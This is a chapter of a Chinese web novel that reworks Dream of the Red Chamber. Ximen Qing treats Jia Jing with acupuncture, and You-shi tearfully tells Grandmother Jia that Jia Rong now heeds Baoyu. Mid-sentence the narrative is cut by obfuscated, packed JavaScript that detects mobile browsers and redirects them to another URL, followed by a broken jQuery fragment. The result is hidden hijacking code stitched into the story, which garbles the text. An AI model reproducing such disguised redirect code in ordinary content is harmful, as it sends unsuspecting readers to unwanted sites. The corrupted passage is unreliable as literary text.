第五十六章贾珍的算计
贾敬死死盯着西门庆,几乎是咬着牙再问:
“我刚才说的话,你到底听见了没有?!”
西门庆本可以轻易挣脱,可念着他是长辈,想来这话也是有缘故的,便连忙点头,
“侄儿记下了,日后无论谁来求,我都绝不会给琮哥儿瞧病,大爷尽管放心!”
贾敬本就被丹毒侵蚀了多年,身子早已亏空,又兼早年伤了心脉,底子弱得很。
方才这一番突然站起,又动了怒气大声呵斥,早已撑不住。
这边话音刚落,便身子一软,急促地喘息起来,似乎下一刻便要摔倒。
西门庆眼疾手快,连忙伸手扶住了他,又小心翼翼地把他扶到旁边坐好。
接着飞快地从随身的锦囊里摸出银针,抬手便在他人中、虎口等几处要紧的穴道扎了下去。
几针下去,贾敬便长长吐出一口浊气,急促的喘息慢慢平复了下来,脸色也缓过来几分。
“大爷,您现在觉得怎么样?”
“我没事了。”贾敬摆了摆手,语气软了不少,没了之前的冷硬,
“你走吧,千万记着我跟你说的话。”
“那您这病……”西门庆还是有些不放心。
贾敬看着他,那张一直冷若冰霜的脸上,竟第一次露出了一抹浅淡的笑意,“不碍的。”
西门庆走了之后,贾敬没有在盯着那炉火看,而是望着门外,轻声问了一句:
“你看他怎么样。”
“你看呢?”
门外的人说着话,便走了进来,这人也上了些年纪,不过却没有穿道服,只是一身家常打扮。
“还凑合,不过要想擦净那明珠,还差的多。”
“既如此,那你又何必急着把他推过去呢,万一他不是那个人呢?”
贾敬咳嗽了两声,却没有接话,那老者进屋之后,用手在鼻子前扇了扇,皱着眉道:
“你要是还这么糟蹋身子,怕是等不到那一天了。”
贾敬笑着摇了摇头:
“如果那事能成,我又何惜生死!”
自得了贾敬的那句准话,西门庆便开始着手为贾蓉、贾蔷二人奔走运作。
他手里既有充足的银钱开道,又借着贾家积攒下的人脉情面,事情办得竟比预想中还要顺当些。
待诸事都敲定之后,贾蓉才磨磨蹭蹭的回宁国府,向贾珍透了风声。
贾珍一听,当场便气炸了,恨不能立时便冲到荣国府,找宝玉理论个是非曲直。
可转念一想,他毕竟是贾母心尖上的人儿。
若真要闹将起来,老祖宗那一关就过不去,思来想去,便吩咐尤氏,寻个由头把贾母请来。
打算先铺好台阶,再慢慢说事。
尤氏出身低微,在家中向来唯贾珍之命是从,丈夫一句话,她只得领命而行。
再者她往日里,也常请贾母等人入园赏花、吃酒散心。
这次不过另寻一个名目,便顺顺当当的把贾母一行人请了过来。
贾母等人到了宁国府,先在会芳园中游逛赏花。
一番闲游之后,便入席落座,先茶后酒,排场礼数与往日并无二致。
只是整场席间,尤氏始终眉头紧锁,神色郁郁,时不时还长吁短叹,一副满腹心事,却又无处诉说的模样。
贾母看在眼里,只当是他们夫妻又闹了龌龊。
但她素来不愿掺和晚辈房里的事,便装作未曾看见,只顾与身旁的人说笑。
王熙凤也是玲珑心肝,早瞧出其中蹊跷,见贾母不欲点破,便也揣着明白装糊涂。
独有李纨,素来与尤氏性情相投。
她虽也看出贾母无意多管闲事,可瞧着尤氏那副模样,终究心有不忍,便主动问道:
“大嫂子这是怎么了,莫不是身上不爽利?”
尤氏等的便是有人递这一句话,此刻见有人搭腔,哪里肯放过机会。
她并不急着开口,只眼圈一红,先自落下泪来。
众人见她这般情状,便再也不好装作视而不见,纷纷开口问询。
尤氏见贾母也终于侧目,这才抽抽搭搭,哽咽着开口:
“我身上倒还好,只是……只是我们家老爷……”
贾母一听,眉头登时便皱了起来,心道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451248|201177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果然又是他们夫妻不睦。
生怕她下一句便要央自己出面做主,心下先有几分不耐。
“我们老爷这些日子,茶饭不思,坐卧不宁,整日里不是长吁短叹,便是独自垂泪。”
“便是我瞧着心里,也着实不好过。”
贾母闻言,倒有些意外,不由看了王熙凤一眼,后者会意,便笑着打趣道:
“这可奇了,珍大爷素来心胸宽广,什么事都一笑置之,几时这般多愁善感起来?”
“莫不是他是惦记玄真观的敬老爷,差人把他请回来也就是了。”
尤氏要的本就是这么一个台阶,凤姐话虽刻薄,她却浑不在意,只顺着话头往下说:
“倒不是为了敬老爷,是为了蓉儿。”
凤姐本是投石问路,一听果然另有隐情,便继续追问:
“蓉哥儿又怎么了,你们老爷素来家教严紧,难道他还敢在外头胡闹不成?”
“蓉儿往日里,最是听我们老爷的话,只是如今……如今却大不一样了。”
“如今,他只肯听一人的话,我们老爷说的,他是一个字都听不进去了。”
这话一出,连凤姐也勾起了好奇:
“哦,是谁有这么大本事,竟能让蓉哥儿,连珍大爷的话都不听了?”
尤氏故作迟疑,支吾半晌,在众人的一再催促之下,才终于轻轻开了口:
“是……是宝玉。”
“你说什么,竟是我们宝玉的缘故?”
贾母一听牵扯到自己孙子,脸色当即就冷了下来。
王夫人也跟着蹙眉:“宝玉他又怎么了?”
王熙凤只当又是秦可卿的旧话,忙抢先开口:
“你可别再提蓉哥媳妇的事了,那日我可也在场。”
“如今她身子已大好了,前儿你去瞧,不也亲眼见了?”
“不是,不是媳妇的事,是蓉儿……蓉儿要往南边去做官了!”
这话一出,贾母与王夫人对视一眼,都有些摸不着头脑。
王熙凤性子最急,直接便问:
“你这话说得颠三倒四,到底怎么一回事,慢慢说清楚!”